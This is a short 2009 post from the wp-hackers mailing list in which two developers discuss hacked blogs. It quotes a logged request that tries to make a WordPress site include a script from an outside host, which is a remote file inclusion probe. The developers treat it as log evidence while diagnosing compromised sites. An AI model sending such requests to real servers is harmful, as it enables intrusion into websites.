[wp-hackers] Hacked blogs

[Peter van der Does]

On Thu, 26 Mar 2009 16:44:01 +0100
Joost de Valk <joost at yoast.com> wrote:

> Nope, can't find a bloody thing yet. These kind of requests:
> 
> GET /index.php?op=http://oursoultvxq.com/bbs/data/vip/id.txt????
> HTTP/1.1
> 
> in all the logs, but grepping through the entire htdocs dir, nothing
> that responds to them.
> 

I don't believe that attack is what caused your problem.
The script that is called is a killroy script.
It will show server related information, like the OS, Uptime. Stuff
like that and "<insert name> was here .."

-- 
Peter van der Does

GPG key: E77E8E98

WordPress Plugin Developer
http://blog.avirtualhome.com

GetDeb Package Builder/GetDeb Site Coder
http://www.getdeb.net - Software you want for Ubuntu